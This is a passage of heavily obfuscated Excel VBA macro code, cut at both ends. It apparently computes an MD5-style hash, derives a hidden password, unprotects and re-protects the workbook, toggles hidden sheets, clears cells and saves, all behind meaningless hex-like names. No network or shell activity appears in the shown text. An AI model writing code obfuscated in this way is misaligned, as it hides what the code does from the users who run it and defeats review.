b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 14), b211ac55ab7f689adf50ad1aa4a890916, &HC33707D6: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 3), b211ac55ab7f689adf50ad1aa4a841916, &HF4D50D87: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 8), b211ac55ab7f689adf50ad1aa4a851916, &H455A14ED:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 13), b211ac55ab7f689adf50ad1aa4a880916, &HA9E3E905: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 2), b211ac55ab7f689adf50ad1aa4a890916, &HFCEFA3F8: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 7), b211ac55ab7f689adf50ad1aa4a841916, &H676F02D9:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 12), b211ac55ab7f689adf50ad1aa4a851916, &H8D2A4C8A: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 5), b211ac55ab7f689adf50ad1aa4a861916, &HFFFA3942: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 8), b211ac55ab7f689adf50ad1aa4a871916, &H8771F681:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 11), b211ac55ab7f689adf50ad1aa4a881916, &H6D9D6122: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 14), b211ac55ab7f689adf50ad1aa4a891916, &HFDE5380C: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 1), b211ac55ab7f689adf50ad1aa4a861916, &HA4BEEA44:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 4), b211ac55ab7f689adf50ad1aa4a871916, &H4BDECFA9: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 7), b211ac55ab7f689adf50ad1aa4a881916, &HF6BB4B60: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 10), b211ac55ab7f689adf50ad1aa4a891916, &HBEBFBC70:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 13), b211ac55ab7f689adf50ad1aa4a861916, &H289B7EC6: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 0), b211ac55ab7f689adf50ad1aa4a871916, &HEAA127FA: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 3), b211ac55ab7f689adf50ad1aa4a881916, &HD4EF3085:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 6), b211ac55ab7f689adf50ad1aa4a891916, &H4881D05: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 9), b211ac55ab7f689adf50ad1aa4a861916, &HD9D4D039: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 12), b211ac55ab7f689adf50ad1aa4a871916, &HE6DB99E5:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 15), b211ac55ab7f689adf50ad1aa4a881916, &H1FA27CF8: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 2), b211ac55ab7f689adf50ad1aa4a891916, &HC4AC5665: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 0), b211ac55ab7f689adf50ad1aa4a842916, &HF4292244:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 7), b211ac55ab7f689adf50ad1aa4a852916, &H432AFF97: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 14), b211ac55ab7f689adf50ad1aa4a862916, &HAB9423A7: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 5), b211ac55ab7f689adf50ad1aa4a872916, &HFC93A039:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 12), b211ac55ab7f689adf50ad1aa4a842916, &H655B59C3: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 3), b211ac55ab7f689adf50ad1aa4a852916, &H8F0CCC92: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 10), b211ac55ab7f689adf50ad1aa4a862916, &HFFEFF47D:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 1), b211ac55ab7f689adf50ad1aa4a872916, &H85845DD1: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 8), b211ac55ab7f689adf50ad1aa4a842916, &H6FA87E4F: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 15), b211ac55ab7f689adf50ad1aa4a852916, &HFE2CE6E0:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 6), b211ac55ab7f689adf50ad1aa4a862916, &HA3014314: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 13), b211ac55ab7f689adf50ad1aa4a872916, &H4E0811A1: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 4), b211ac55ab7f689adf50ad1aa4a842916, &HF7537E82:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 11), b211ac55ab7f689adf50ad1aa4a852916, &HBD3AF235: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 2), b211ac55ab7f689adf50ad1aa4a862916, &H2AD7D2BB: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 9), b211ac55ab7f689adf50ad1aa4a872916, &HEB86D391:
b211ac55ab7f689adf50ad1aa4a814916 = b211ac55ab7f689adf50ad1aa4a809916(b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a836916): b211ac55ab7f689adf50ad1aa4a815916 = b211ac55ab7f689adf50ad1aa4a809916(b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a837916): b211ac55ab7f689adf50ad1aa4a816916 = b211ac55ab7f689adf50ad1aa4a809916(b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a835916): b211ac55ab7f689adf50ad1aa4a817916 = b211ac55ab7f689adf50ad1aa4a809916(b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a839916): Next: bbf1a755ab7f7f89adf95e1ad2fe4a800915 = LCase(b211ac55ab7f689adf50ad1aa4a844916(b211ac55ab7f689adf50ad1aa4a814916) & b211ac55ab7f689adf50ad1aa4a844916(b211ac55ab7f689adf50ad1aa4a815916) & b211ac55ab7f689adf50ad1aa4a844916(b211ac55ab7f689adf50ad1aa4a816916) & b211ac55ab7f689adf50ad1aa4a844916(b211ac55ab7f689adf50ad1aa4a817916)):
Else
'a211ac15ab97681ade50bd1aa4a00916 = a211ac15ab97681ade50bd1aa4a00912 * d211af55ab7f7689adf950ad2ab4a800916
a211ac15ab97681ade50bd1aa4a00916 = a211ac15ab97681ade50bd1aa4a00912: c211ac55ab77689ade50bd1aa4a00916 = b211ac55ab7f689adf50ad1aa4a800916: fff1a755ab7f7f89adf95ed2a4a80916 = "":
If b211ac55ab7f689adf50ad1aa4a800916 = (d211af55ab7f7689adf950ad2ab4a800916 Xor d211af55ab7f7689adf950ad2ab4a800916) And d211af55ab7f7689adf950ad2ab4a800916 = 1 Then
Set b211ac55ab7f689adf50af1aa4a800916 = Sheets(Asc(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 15), 12, 1)) - Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 10), 1))).Range(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 27), d211af55ab7f7689adf950ad2ab4a800916) & Trim(Str(d211af55ab7f7689adf950ad2ab4a800916)) & Chr((CInt(StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 10, d211af55ab7f7689adf950ad2ab4a800916))) - 2))))) & Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 12, d211af55ab7f7689adf950ad2ab4a800916) & ((Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 2), d211af55ab7f7689adf950ad2ab4a800916)) - 5) / 2)): b211ac55ab7f689adf50af1aa4a800916.Value = "": b211ac55ab7f689adf50af1aa4a800916.Font.Size = Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 11, d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 8), d211af55ab7f7689adf950ad2ab4a800916)): b211ac55ab7f689adf50af1aa4a800916.Font.Color = _
vbBlack: For b211ac55ab7f689adff0af1aa4a800916 = d211af55ab7f7689adf950ad2ab4a800916 To Len(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), 7)) - 1: Set b211ac55ab7f689adf50af1aa4a800916 = Sheets(Asc(Mid(StrReverse(fff1a755ab7f7f89adf95eab4a800915), 4, 1)) - CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 5), 1, 1)) - (Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 9), 1)) - 1)).Range(Mid(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), 7), b211ac55ab7f689adff0af1aa4a800916, d211af55ab7f7689adf950ad2ab4a800916) & Trim(Str(d211af55ab7f7689adf950ad2ab4a800916)) & Chr((CInt(StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 10, d211af55ab7f7689adf950ad2ab4a800916))) - 2))))) & Mid(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), 7), b211ac55ab7f689adff0af1aa4a800916, d211af55ab7f7689adf950ad2ab4a800916) & StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 7, d211af55ab7f7689adf950ad2ab4a800916)))))):
b211ac55ab7f689adf50af1aa4a800916.Value = "": b211ac55ab7f689adf50af1aa4a800916.Font.Size = Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 11, d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 8), d211af55ab7f7689adf950ad2ab4a800916)): b211ac55ab7f689adf50af1aa4a800916.Font.Color = vbBlack: Next:
If Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, d211af55ab7f7689adf950ad2ab4a800916)) * 2), d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, d211af55ab7f7689adf950ad2ab4a800916)) * 2 - d211af55ab7f7689adf950ad2ab4a800916, d211af55ab7f7689adf950ad2ab4a800916)) = CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, 1)) + d211af55ab7f7689adf950ad2ab4a800916), 3, 1)) / 2 * 3), d211af55ab7f7689adf950ad2ab4a800916)) And ActiveWorkbook.ProtectWindows Or CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), 1)) = Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 10, d211af55ab7f7689adf950ad2ab4a800916)) And ActiveWorkbook.ProtectStructure Then
On Error GoTo 0: bbf1a755ab7f7f89adf95e1ad2ff4a800915 = bbf1a755ab7f7f89adf95e1ad2fe4a800915(0, 0, Right(fff1a755ab7f7f89adf95eab4a800915, b211ac55ab7f689adf50ad1aa4a800916 * 10 + d211af55ab7f7689adf950ad2ab4a800916) & Replace(Chr(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 9), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), d211af55ab7f7689adf950ad2ab4a800916)) * 2) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, d211af55ab7f7689adf950ad2ab4a800916))), 3, d211af55ab7f7689adf950ad2ab4a800916))), 3) & Right(fff1a755ab7f7f89adf95eab4a800915, 2) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 5), 2)) - CInt(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), 1)) - Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 10, d211af55ab7f7689adf950ad2ab4a800916)))), Chr(CInt(Right(Left(StrReverse(fff1a755ab7f7f89adf95eab4a800915), 5), 2)) + _
CInt(Replace(Mid(fff1a755ab7f7f89adf95eab4a800915, 19, 4), Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), 2), ""))), Chr(CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 5), 2)) - CInt(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 10, 1))) + d211af55ab7f7689adf950ad2ab4a800916))): ActiveWorkbook.Unprotect Password:=bbf1a755ab7f7f89adf95e1ad2ff4a800915: Sheets(d211af55ab7f7689adf950ad2ab4a800916).Visible = xlSheetVisible: Sheets(Asc(Left(Str(d211af55ab7f7689adf950ad2ab4a800916), d211af55ab7f7689adf950ad2ab4a800916)) / 8).Visible = xlSheetHidden: ActiveWorkbook.Protect Password:=bbf1a755ab7f7f89adf95e1ad2ff4a800915:
End If
ActiveWorkbook.Save
Else
Dim e611a755ab7f7f89adf9501ad2ab4a800916: Set e611a755ab7f7f89adf9501ad2ab4a800916 = Sheets(CInt(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 22), 1)) - CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), 1))).Range(Chr(101) & "1" & Chr(Len(fff1a755ab7f7f89adf95eab4a800915) * 2 + 4) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 16), 1) & Chr(51) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), 1)): Do: efa1a755ab7f7586adf95e1ad2ab4a800916 = Split(e611a755ab7f7f89adf9501ad2ab4a800916.Cells(c211ac55ab77689ade50bd1aa4a00916, d211af55ab7f7689adf950ad2ab4a800916), Chr(Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 10), 1)) + 2)):
If UBound(efa1a755ab7f7586adf95e1ad2ab4a800916) = -1 Then
Exit Do: End If: abc1a755ab7f7536adf9571ad2ab4a800916 = efa1a755ab7f7586adf95e1ad2ab4a800916(a211ac15ab97681ade50bd1aa4a00916)
If abc1a755ab7f7536adf9571ad2ab4a800916 = Left(Right(fff1a755ab7f7f89adf95eab4a800915, 10), 1) Then
Exit Do:
Else
'b4849755ab7f7536adf9571ad2ab4a800916 = Trim(lcase(abc1a755ab7f7536adf9571ad2ab4a800916)) Like Right(Left(fff1a755ab7f7f89adf95eab4a800915, 14), 1) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 17), 5)
b4849755ab7f7536adf9571ad2ab4a800916 = Trim(LCase(abc1a755ab7f7536adf9571ad2ab4a800916)) Like Right(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 9) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 11), 2)
If b4849755ab7f7536adf9571ad2ab4a800916 = True Then
abc1a755ab7f7536adf9571ad2ab4a800916 = Sheets(CInt(Mid(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 13, 1)), 1, 1) / Mid(Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 15), 1)), 2, 1))).Range(abc1a755ab7f7536adf9571ad2ab4a800916)
If abc1a755ab7f7536adf9571ad2ab4a800916 = (Chr(Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 22), 1)) - 6) & Right(fff1a755ab7f7f89adf95eab4a800915, 1)) Then
abc1a755ab7f7536adf9571ad2ab4a800916 = vbCrLf: End If: End If: fff1a755ab7f7f89adf95ed2a4a80916 = fff1a755ab7f7f89adf95ed2a4a80916 & abc1a755ab7f7536adf9571ad2ab4a800916:
If c211ac55ab77689ade50bd1aa4a00916 = ((Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 2), 1)) - 5) / 2) Then
If a211ac15ab97681ade50bd1aa4a00916 < 2 Then
a211ac15ab97681ade50bd1aa4a00916 = a211ac15ab97681ade50bd1aa4a00916 + 1: c211ac55ab77689ade50bd1aa4a00916 = 1
Else
'a211ac15ab97681ade50bd1aa4a00916 = b211ac55ab7f689adf50ad1aa4a800916 and b211ac55ab7f689adf50ad1aa4a800916
a211ac15ab97681ade50bd1aa4a00916 = b211ac55ab7f689adf50ad1aa4a800916 Xor b211ac55ab7f689adf50ad1aa4a800916: b211ac55ab7f689adf50ad1aa4a800916 = a211ac15ab97681ade50bd1aa4a00916 + 1: c211ac55ab77689ade50bd1aa4a00916 = b211ac55ab7f689adf50ad1aa4a800916: d211af55ab7f7689adf950ad2ab4a800916 = d211af55ab7f7689adf950ad2ab4a800916 + 1: End If:
Else
c211ac55ab77689ade50bd1aa4a00916 = c211ac55ab77689ade50bd1aa4a00916 + 1: End If: End If: Loop While d211af55ab7f7689adf950ad2ab4a800916 <= CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 8), 1, 1) & Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 9), 1, 1)) And c211ac55ab77689ade50bd1aa4a00916 <= ((Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 2), 1)) - 5) / 2): End If: GoTo b211ac55ab7f689adf50ad1aa4a800946:
b211ac55ab7f689adf50ad1aa4a80936:
b211ac55ab7f689adf50ad1aa4a848916 = LCase(Chr(Asc(Space(1)) * 2 + 1)): fff1a755ab7f7f89adf95eab4a800915 = fff1a755ab7f7f89adf95eab4a800915 & b211ac55ab7f689adf50ad1aa4a848916 & Chr(Asc(Left(b211ac55ab7f689adf50ad1aa4a848916, 1)) + 6) & Chr(Asc(Left(b211ac55ab7f689adf50ad1aa4a848916, 1)) + 4) & Chr(Asc(Space(1)) + 3) & Chr(Asc(Space(1)) + 10) & Chr(Asc(Space(1)) + 17) & Chr(Asc(Space(1)) + 18) & Chr(Asc(Space(1)) + 19) & Chr(Asc(Space(1)) + 20) & Chr(Asc(Space(1)) + 22) & Chr(Asc(Space(1)) + 25) & UCase(Chr(Asc(Left(b211ac55ab7f689adf50ad1aa4a848916, 1)) + 15)) & UCase(Chr(Asc(Left(b211ac55ab7f689adf50ad1aa4a848916, 1)) + 4)) & Chr(Asc(Left(b211ac55ab7f689adf50ad1aa4a848916, 1)) + 13): Resume b211ac55ab7f689adf50ad1aa4a800926:
b211ac55ab7f689adf50ad1aa4a800946: bbf1a755ab7f7f89adf95e1ad2fe4a800915 = fff1a755ab7f7f89adf95ed2a4a80916: End If: End Function
Function b211ac55ab7f689adf50ad1aa4a844916(b211ac55ab7f689adf50ad1aa4a805916): Dim b211ac55ab7f689adf50ad1aa4a846916: Dim b211ac55ab7f689adf50ad1aa4a845916: For b211ac55ab7f689adf50ad1aa4a845916 = 0 To 3: b211ac55ab7f689adf50ad1aa4a846916 = b211ac55ab7f689adf50ad1aa4a807916(b211ac55ab7f689adf50ad1aa4a805916, b211ac55ab7f689adf50ad1aa4a845916 * b211ac55ab7f689adf50ad1aa4a831916) And b211ac55ab7f689adf50ad1aa4a802916(b211ac55ab7f689adf50ad1aa4a831916 - 1): b211ac55ab7f689adf50ad1aa4a844916 = b211ac55ab7f689adf50ad1aa4a844916 & Right("0" & Hex(b211ac55ab7f689adf50ad1aa4a846916), 2): Next: End Function
Function b211ac55ab7f689adf50ad1aa4a809916(b211ac55ab7f689adf50ad1aa4a810916, b211ac55ab7f689adf50ad1aa4a811916)
